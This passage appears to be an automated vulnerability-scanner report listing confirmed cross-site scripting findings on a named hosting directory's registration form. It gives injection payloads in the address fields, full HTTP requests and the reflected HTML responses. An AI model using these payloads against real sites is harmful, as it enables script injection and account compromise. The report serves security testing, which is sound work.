<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C866289C257C1322C17C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C861F3AF65FB2DD52F1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C86EF83664C7FF422A66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C86BF9D465D5C3B7F31C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C86DFDE63C4D9F7C0DA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C860C763477C57A44DDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C860EA8CF988C27480CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C860832631B8A60F61EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C8688AB548DFEE86CF2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C8642F2AC8D733D3914C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C8605C468ABDA4FEE36C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C86A10E1FDDB01360E56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C86B421DDEBFD8D30D46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C86666DEDFD62A4B7A76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST '"--></style></script><script>alert(0x001E16)</script>
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E16)%3c%2fscript%3e&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:00 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D0E46F1E563A2C8657040DAAEBFA014DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D0E46F1E563A2C86672A2B9A74222D9D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D0E46F1E563A2C86A8D1CC7A3D666422C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C8600B29197AB57188BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D0E46F1E563A2C86482507FB7047CD0B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D0E46F1E563A2C86D0261D2BD83FF8B1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D0E46F1E563A2C86662E683FFEE24F00C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D0E46F1E563A2C8682F6B9D8D94715756F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D0E46F1E563A2C86877026BC102220D7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D0E46F1E563A2C86DC58F54F896F01F26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D0E46F1E563A2C866868A2B6B105D2DAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D0E46F1E563A2C86CE141A1DE647BFF3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D0E46F1E563A2C86D5782ACF28066394C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D0E46F1E563A2C864A42BBA757DBFC92C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D0E46F1E563A2C863E6111F1331C3E8DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D0E46F1E563A2C8698709F2FF92C0073C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D0E46F1E563A2C86C588212CCF55011F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D0E46F1E563A2C861083811BE239BF2F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D0E46F1E563A2C868B075DF9D08F21E26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST '"--></style></script><script>alert(0x001E17)</script>
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 561
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001E17)%3c%2fscript%3e&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:38:03 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" 